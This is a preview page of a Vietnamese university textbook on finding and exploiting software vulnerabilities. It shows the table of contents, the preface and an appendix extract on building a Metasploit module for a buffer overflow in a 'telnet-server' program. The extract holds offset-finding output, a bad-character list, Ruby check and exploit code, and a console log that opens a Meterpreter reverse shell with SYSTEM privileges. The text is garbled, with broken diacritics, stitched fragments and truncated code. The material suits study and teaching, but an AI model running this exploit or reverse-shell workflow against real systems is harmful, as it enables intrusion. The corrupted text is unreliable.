16 phat hien loi va lo hong bao mat phan mem phu luc 40 tr

215 70 0
16 phat hien loi va lo hong bao mat phan mem phu luc 40 tr

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ TS ĐẶNG VŨ SƠN ThS VŨ ĐÌNH THU GIÁO TRÌNH TÌM VÀ PHÁT HIỆN LỖ HỔNG PHẦN MỀM BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ TS ĐẶNG VŨ SƠN ThS VŨ ĐÌNH THU GIÁO TRÌNH TÌM VÀ PHÁT HIỆN LỖ HỔNG PHẦN MỀM MỤC LỤC ii DANH MỤC TỪ VIẾT TẮT vi DANH MỤC CÁC HÌNH vii DANH MỤC CÁC BẢNG viii LỜI NÓI ĐẦU ix CHƯƠNG I TỔNG QUAN VỀ PHẦN MỀM VÀ LỖ HỔNG PHẦN MỀM 1.1 Khái niệm phần mềm 1.2 Quy trình phát triển phần mềm 1.2.1 Mơ hình thác nước .3 1.2.2 Mơ hình phát triển tiến hố .4 1.2.3 Mơ hình xoắn ốc Boehm 1.2.4 Các quy trình linh hoạt 1.3 Lỗ hổng phần mềm hiểm họa .6 Câu hỏi ôn tập chương 1: .8 CHƯƠNG CÁC DẠNG LỖ HỔNG PHẦN MỀM .9 2.1 Cách thức phân loại 2.2 Các dạng lỗ hổng phần mềm phổ biến 10 2.2.1 Tràn đệm 10 2.2.2 Chuỗi định dạng sai 34 2.2.3 Không kiểm tra liệu đầu vào 37 2.2.4 Chạy đua 46 2.2.5 Cơ chế xác thực, phân quyền thực yếu 48 Câu hỏi ôn tập chương 2: .49 CHƯƠNG CÁC PHƯƠNG PHÁP TÌM LỖ HỔNG PHẦN MỀM 50 3.1 Phân tích tĩnh 50 3.1.1 Phân tích từ vựng 50 3.1.2 Phân tích cú pháp 51 3.1.3 Phân tích dịng liệu 52 3.1.4 Sử dụng kỹ thuật dịch ngược mã nguồn (REReverse Engineering ) .53 3.2 Phân tích động 55 3.2.1 Chèn lỗi 56 3.2.2 Kiểm thử mờ 56 Câu hỏi ôn tập chương 58 CHƯƠNG KHAI THÁC LỖ HỔNG PHẦN MỀM .59 4.1 Giới thiệu khai thác lỗ hổng phần mềm 59 4.2 Cách thức khai thác sỗ lỗ hổng điển hình 59 4.2.1 Xác định lỗ hổng phần mềm 59 4.2.2 Khai thác lỗi tràn đệm 60 4.2.3 Khai thác lỗi sai định dạng chuỗi 84 4.2.4 Khai thác lỗ hổng gây lỗi khơng kiểm sốt đầu vào 111 4.3 Khai thác lỗ hổng phần mềm sử dụng phần mềm Metasploit Framework 115 Khai thác lỗ hổng phần mềm sử dụng module có sẵn Metasploit: 119 4.4 Xây dựng mã khai thác lỗ hổng phần mềm 120 4.4.1 Một số kiến thức cần biết 120 4.4.2 Các dạng Shellcode .122 4.4.3 Viết Shellcode khai thác lỗ hổng phần mềm 125 Câu hỏi ôn tập chương 131 CHƯƠNG PHÁT TRIỂN VÀ SỬ DỤNG PHẦN MỀM AN TOÀN 132 5.1 Phát triển phần mềm an toàn .132 5.1.1 Yêu cầu tiền SDL: đào tạo an ninh 132 5.1.2 Pha 1: Yêu cầu .134 5.1.3 Pha 2: Thiết kế 136 5.1.4 Pha 3: Thực thi 137 5.1.5 Pha 4: Xác minh 138 5.1.6 Pha 5: Phát hành 139 5.2 Sử dụng phần mềm an toàn 142 TÀI LIỆU THAM KHẢO 144 PHỤ LỤC .145 Khai thác lỗ hổng phần mềm sử dụng module có sẵn Metasploit 145 Viết Module khai thác lỗ hổng phần mềm dựa Metasploit Framework .159 DANH MỤC TỪ VIẾT TẮT STT Từ viết tắt SANS XSS Cross Site Scripting CGI Common Gateway Interface PVF Potentially Vulnerable Function HTML Hyper Text Mult NOP No Operation Performed DLL Dynamic Link Library Tên tiếng Anh Ý nghĩa DANH MỤC CÁC HÌNH Hình 1.1 Phát triển phần mềm theo mơ hình tiến hố Hình 2.1 Tràn đệm 11 Hình 2.2 Stack 13 Hình 2.3 Push .13 Hình 2.4 Pop 14 Hình 2.4 Sơ đồ vị trí hàm Ngăn xếp .15 Hình 2.5 Trạng thái ngăn xếp sau hàm function_A() gọi hàm function_B() 16 Hình 2.6 Bố trí ngăn xếp nhớ 18 Hình 2.7 Ngăn xếp cho hàm authenticate(), trước bị khai thác lỗi tràn nhớ 19 Hình 2.8 Ngăn xếp cho hàm authenticate(), sau bị khai thác lỗi tràn nhớ 20 Hình 2.9 Ghi đè lên địa trả 21 Hình 2.10 Danh sách liên kết trước sau thực thay đổi 25 Hình 2.11 Sự thay đổi Ngăn xếp thực thi chương trình bị lỗi off-by-one .33 Hình 2.12 Minh họa nhớ thực khai thác lỗi định dạng chuỗi 36 Hình 2.13 Thơng báo minh họa lỗi XSS 46 Hình 3.1 Mơ hình phân tích từ vựng .54 Hình 3.2 Ví dụ đồ thị luồng điều khiển 57 Hình 4.1 Ngăn xếp chuỗi định dạng 90 Hình 4.2 Bộ nhớ lưu trữ chuỗi giá trị nhập vào 96 Hình 4.3 Kiến trúc Metasploit Framework 116 Hình 4.6 Kết sau thực thi shellcode thêm người dùng 131 DANH MỤC CÁC BẢNG Bảng 3.1: Kết thu sau phân tích từ vựng 55 LỜI NĨI ĐẦU Tìm phát lỗ hổng phần mềm lĩnh vực quan trọng An tồn thơng tin, lĩnh vực khó địi hỏi người làm lĩnh vực phải có kiến thức tốt nhiều nội dung liên quan đến phần mềm an toàn phần mềm Giáo trình tài liệu dùng để giảng dạy cho sinh viên chun ngành an tồn thơng tin Học viện Kỹ thuật Mật mã Giáo trình trình bày nội dung quy trình phát triển phần mềm, lỗi phần mềm thường gặp, phương pháp phát lỗ hổng phần mềm, cách thức xây dựng module khai thác lỗ hổng phần mềm Giáo trình sử dụng làm tài liệu tham khảo hữu ích cho quan tâm đến an tồn thơng tin cụ thể lĩnh vực tìm phát lỗ hổng phần mềm Trong trình xây dựng giáo trình, tác giả cố gắng để cập đến nội dung lĩnh vực phát lỗ hổng phần mềm, nhiên lĩnh vực khó khó tránh thiếu sót Hy vọng lần chỉnh sửa bổ sung sau hồn thiện giáo trình để phục vụ tốt cho chương trình đào tạo kỹ sư An tồn thơng tin Học viện Kỹ thuật Mật mã Nhóm tác giả CHƯƠNG I TỔNG QUAN VỀ PHẦN MỀM VÀ LỖ HỔNG PHẦN MỀM 1.1 Khái niệm phần mềm Phần mềm máy tính hay gọi tắt phần mềm tập hợp câu lệnh thị viết nhiều ngôn ngữ lập trình theo trật tự xác định, liệu hay tài liệu liên quan nhằm tự động thực số nhiệm vụ hay chức giải vấn đề cụ thể Phần mềm thực gửi thị trực tiếp tới phần cứng cách cung cấp liệu để phục vụ chương trình hay phần mềm khác Phần mềm khác với phần cứng chỗ phần mềm khơng thể sờ hay đụng vào, cần phải có phần cứng chạy Trước đây, để tạo chương trình máy tính người ta phải làm việc trực tiếp với số (sử dụng hệ số nhị phân), hay cịn gọi ngơn ngữ máy Cơng việc vơ khó khăn, chiếm nhiều thời gian, cơng sức đặc biệt dễ gây lỗi Để khắc phục nhược điểm này, người ta đề xuất hợp ngữ, ngôn ngữ cho phép thay dãy từ gợi nhớ tiếng Anh Tuy nhiên, cải tiến cịn chưa thật thích hợp với đa số người dùng máy tính, người ln mong muốn lệnh ý nghĩa thao tác mà mơ tả Vì vậy, từ năm 1950, người ta xây dựng ngôn ngữ lập trình mà câu lệnh gần với ngơn ngữ tự nhiên ngơn ngữ lập trình FORTRAN Ngơn ngữ gọi ngơn ngữ lập trình bậc cao Chương trình máy tính thường tạo người, người gọi lập trình viên, nhiên tồn chương trình sinh chương trình khác Phân loại phần mềm: ‘Targets’ => [ [ ‘Windows XP SP3’ { ‘Ret’ => 0x7c90e3f4 } ], ], # Muc tieu mac dinh ’DefaultTarget’ => )) End Trong phần Payload, với tham số Space khoảng trống để payload sử dụng Tham số quan trọng xác định payload sử dụng chạy khai thác Ta xác định tham số cách sử dụng hai công cụ pattern_create.rb pattern_offset.rb Với công cụ pattern_create.rb ta tạo chuỗi ký tự có độ dài 1024 bit đây: root@Hacker:/opt/backbox/msf/tools# /pattern_create.rb 1024 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7 Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5 Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3 Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1 Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9 Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7 Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5 Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3 Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1 Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9 As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7 192 At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5 Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3 Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1 Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9 Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7 Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5 Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3 Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B Sau có chuỗi này, ta thực chạy trình debugger, đẩy chuỗi vào đệm chương trình để tìm địa offset: Hình 4.7: Tìm địa offset nhập 1024 byte kỹ tự Như vậy, địa offset ta tìm 41327241, ta sử dụng công cụ pattern_offset.rb để tính khoảng trống ngăn xếp: root@Hacker:/opt/backbox/msf/tools# /pattern_offset.rb 41327241 1024 [*] Exact match at offset 516 Kết cuối ta tính khoảng trống cần thiết cho ngăn xếp 516 byte cộng thêm byte cho địa trả Vậy, khoảng trống cần thiết để chứa payload 520 byte Trong trường hợp biến buffer mã nguồn chương trình telnetserver chứa 512 byte, kích thước cần thiết để phá vỡ telnet-server Tuy nhiên phần Payload ta thiết lập 193 Space 500, 20 byte cộng vào sau phần khai thác Trong phương thức ‘Targets’ xác định mục tiêu cho module khai thác, điểm quan trọng mà ta cần xem xét địa trả Như nói mục 4.3.3, tệp tin thư viện chia sẻ thay đổi phiên hệ điều hành mức Service Pack Trong vài trường hợp, địa trả DLL hoạt động tất phiên Windows Service Pack Địa gọi địa trả chung Để xác định địa trả ta đẩy vào đệm chuỗi ký tự có kích thước 516 byte, sau sử dụng trình debugger để tìm địa trả Dưới kết nhận được, địa trả 0x7c90e3f4: Hình 4.8: Địa trả sau đệm đầy Tiếp theo, ta cần xác định BadChars ký tự khơng nên có khai thác, số ký tự phần đệm khai thác, nhiên ký tự lại đọc sai ứng dụng mà ta khai thác Điều làm ảnh hưởng đến shellcode làm cho trình khai thác khơng thành cơng Khi viết module khai thác, cần phải chắn BadChars xác định, khai thác mà Metasploit 194 tạo khác sau lần khai thác chạy, tồn BadChars kết khai thác bị ảnh hưởng.Trong số trường hợp, ta khơng tìm hết BadChars, ứng dụng bị phá vỡ mà khơng cần thực thi shellcode Ký tự Badchars mà ta cần ý ký tự NULL, mã bytecode ta cần loại bỏ “\x00” Để tìm BadChars tiếp theo, ta gửi chuỗi chứa tất ký tự bảng mã ASCII Dưới chuỗi ký tự: "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\ x0e \ x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1 c \ x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2 a \ x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x3 \ x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x4 \ x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x5 \ x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x6 \ x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x7 \ 195 x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7 e \ x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8 c \ x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9 a \ x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa \ xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb \ xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc \ xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd \ xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe \ xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xe e \ xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xf c \xfd\xfe\xff" Bằng cách đưa ký tự vào đệm chương trình sau sử dụng chương trình debugger để tìm BadChars Ký tự 196 ảnh hưởng đến việc khai thác cần loại bỏ \x0A, ký tự tương ứng với việc ngắt dòng Tiếp theo ký tự \x0D, kí tự tương đương với việc ngắt dòng Cuối cùng, ký tự \x20 ký tự khoảng trắng Với ký tự xuất làm cho lệnh thực thi bị ngừng hay gây lỗi cho chương trình Bây giờ, ta thực viết phần kiểm tra xem chương trình có tồn lỗ hổng hay khơng Đơi việc kiểm tra khơng hồn tồn xác Trong trường hợp ta phân tích biết lỗ hổng chương trình telnet-server tồn phiên 0.01 Do đó, muốn biết chương trình có tồn lỗ hổng hay khơng ta cần kiểm tra phiên chạy Phương thức check() viết sau: # Ham thuc hien kiem tra xem lo hong co ton tai # hay khong def check connect buf = “version\n” sock.put(buf) res = sock.get disconnect if res =~ /Telnet-Server v0.01/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end Cuối cùng, ta thực viết phần khai thác cho module khai thác Quá trình thực khai thác sau: Đầu tiên, thực kết nối đến # Ham thuc hien chuc nang khai thac def exploit 197 connect buf = payload.encoded # Dua Payload vao buf ‘Day la module thac cho phan mem telnetphien ban 0.01’, # Nguoi viet khai thac ‘Author’ => ‘hacker’, 199 # Phien ban ‘Version’ => ‘1.0’, ‘Payload’ => { ‘Space’ => 500, ‘BadChars’ => “\x00\x0A\x0D\x20”, ‘StackAdjustment’ => -3500, }, # Nen tang co the khai thac ‘Platform’ => ‘win’, #Windows # Muc tieu khai thac ‘Targets’ => [ [ ‘Windows XP SP2’ { ‘Ret’ => 0x7c90e3f4 } ], ], # Muc tieu mac dinh ’DefaultTarget’ => )) end # Ham thuc hien kiem tra xem lo hong co ton tai # hay khong def check connect buf = “version\n” sock.put(buf) 200 res = sock.get disconnect if res =~ /Telnet-Server v0.0.1/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end # Ham thuc hien chuc nang khai thac def exploit connect buf = payload.encoded # Dua Payload vao buf set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(telnet-server) > show options Module options (exploit/windows/telnet/telnetserver): Name Current Setting Required Description - - RHOST yes RPORT yes Payload options (windows/meterpreter/reverse_tcp): Name Description Current Setting Required - EXITFUNC thread yes technique: seh, thread, process, none LHOST yes 202 Exit The listen address LPORT port 4444 yes The listen Exploit target: Id Name Windows XP SP3 msf exploit(telnet-server) > set RPORT=4455 RPORT => 4455 msf exploit(telnet-server) > set RHOST=192.168.0.200 RHOST => 192.168.0.200 msf exploit(telnet-server) > set LHOST=192.168.0.101 LHOST => 192.168.0.101 msf exploit(telnet-server) > show options Module options (exploit/windows/telnet/telnetserver): Name Current Setting Required Description - - RHOST 192.168.0.200 yes RPORT 4455 yes Payload options (windows/meterpreter/reverse_tcp): 203 Name Description Current Setting Required - EXITFUNC thread yes technique: seh, thread, process, none Exit LHOST address 192.168.0.101 yes The listen LPORT port 4444 yes The listen Exploit target: Id Name Windows XP SP3 msf exploit(telnet-server) > exploit [*] Started reverse handler [*] Transmitting intermediate stager for oversized stage (89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage [*] Uploading DLL (81931 bytes) [*] Upload completed [*] Meterpreter session opened (192.168.0.101:4444 -> 192.168.0.200:1109) at 2013-05-31 9:39:50 +0700 204 meterpreter > sysinfo Computer : CLIENT OS Pack 3) : Windows XP (Build 2600, Service Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ps Process List ============ PID User PPID Name Arch Path Session - - [System Process] 4294967295 …………………… System NT AUTHORITY\SYSTEM x86 344 408 postgres.exe NT AUTHORITY\SYSTEM x86 ……………………… C:\METASP~1\POSTGR~1\bin\postgres.exe 972 692 svchost.exe x86 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 1008 2004 rundll32.exe CLIENT\admin x86 C:\Program 205 Files\VMware\VMware Tools\vmtoolsd.exe 2004 1124 explorer.exe CLIENT\admin C:\WINDOWS\Explorer.EXE x86 2116 768 telnet-server.exe x86 CLIENT\admin C:\Documents and Settings\adminn\Desktop\telnet-server.exe 2280 344 postgres.exe x86 NT AUTHORITY\SYSTEM C:\METASP~1\POSTGR~1\bin\postgres.exe 2308 344 postgres.exe x86 NT AUTHORITY\SYSTEM C:\METASP~1\POSTGR~1\bin\postgres.exe 2676 NT 344 postgres.exe x86 AUTHORITY\SYSTEM C:\METASP~1\ruby\bin\ruby.exe Như q trình khai thác thành cơng, điều đồng nghĩa với việc module khai thác viết thành công 206 ... quan tr? ??ng thông tin tr? ??ng thái nội ghi lại ngăn xếp Các thông tin tr? ??ng thái lưu tr? ?? ngăn xếp khác tùy theo kiến tr? ?c xử lí, thường bao gồm tr? ?? tr? ??ng thái hàm tr? ?ớc địa tr? ?? Giá tr? ?? địa tr? ?? lưu... phần mềm tr? ?? chơi, chương tr? ?nh tiện ích, hay lo? ??i phần mềm độc hại Các phần mềm chuyển đổi mã bao gồm tr? ?nh biên dịch tr? ?nh thơng dịch: lo? ??i chương tr? ?nh đọc câu lệnh từ mã nguồn viết lập tr? ?nh... cộng giá tr? ?? 0x20000020 vào 0xE00000E0 kết 0x10000 040 a khơng thể chứa gía tr? ?? giá tr? ?? cao giá tr? ?? tối đa biến a chứa, tr? ?ờng hợp gọi tr? ?n số học (numeric overflow condition) Ví dụ 2.6 Tr? ?? số nguyên

Ngày đăng: 02/10/2021, 19:50

Từ khóa liên quan

Mục lục

  • DANH MỤC TỪ VIẾT TẮT

  • DANH MỤC CÁC HÌNH

  • DANH MỤC CÁC BẢNG

  • LỜI NÓI ĐẦU

  • CHƯƠNG I TỔNG QUAN VỀ PHẦN MỀM VÀ LỖ HỔNG PHẦN MỀM

    • 1.1. Khái niệm phần mềm

    • 1.2. Quy trình phát triển phần mềm

      • 1.2.1. Mô hình thác nước

      • 1.2.2. Mô hình phát triển tiến hoá

      • 1.2.3. Mô hình xoắn ốc Boehm

      • 1.2.4. Các quy trình linh hoạt

      • 1.3. Lỗ hổng phần mềm và hiểm họa

      • Câu hỏi ôn tập chương 1:

      • 1. CHƯƠNG 2 CÁC DẠNG LỖ HỔNG PHẦN MỀM

        • 1.4. Cách thức phân loại

        • 1.5. Các dạng lỗ hổng phần mềm phổ biến

          • 1.5.1. Tràn bộ đệm

            • 1.5.1.1. Tràn bộ đệm trên Stack

            • 1.5.1.2. Tràn bộ đệm trên Heap

            • 1.5.1.3. Lỗi Double Free

            • 1.5.1.4. Lỗi tràn số khi sử dụng số nguyên trong ngôn ngữ lập trình C

            • 1.5.1.5. Lỗi Off-by-one

            • 1.5.2. Chuỗi định dạng sai

              • 1.5.2.1. Chuỗi định dạng

              • 1.5.3. Không kiểm tra dữ liệu đầu vào

                • 1.5.3.1. Lỗi SQL Injection

                  • Không kiểm tra điều kiện dữ liệu đưa vào:

                  • Lỗi do không kiểm soát kiểu dữ liệu đưa vào:

Tài liệu cùng người dùng

Tài liệu liên quan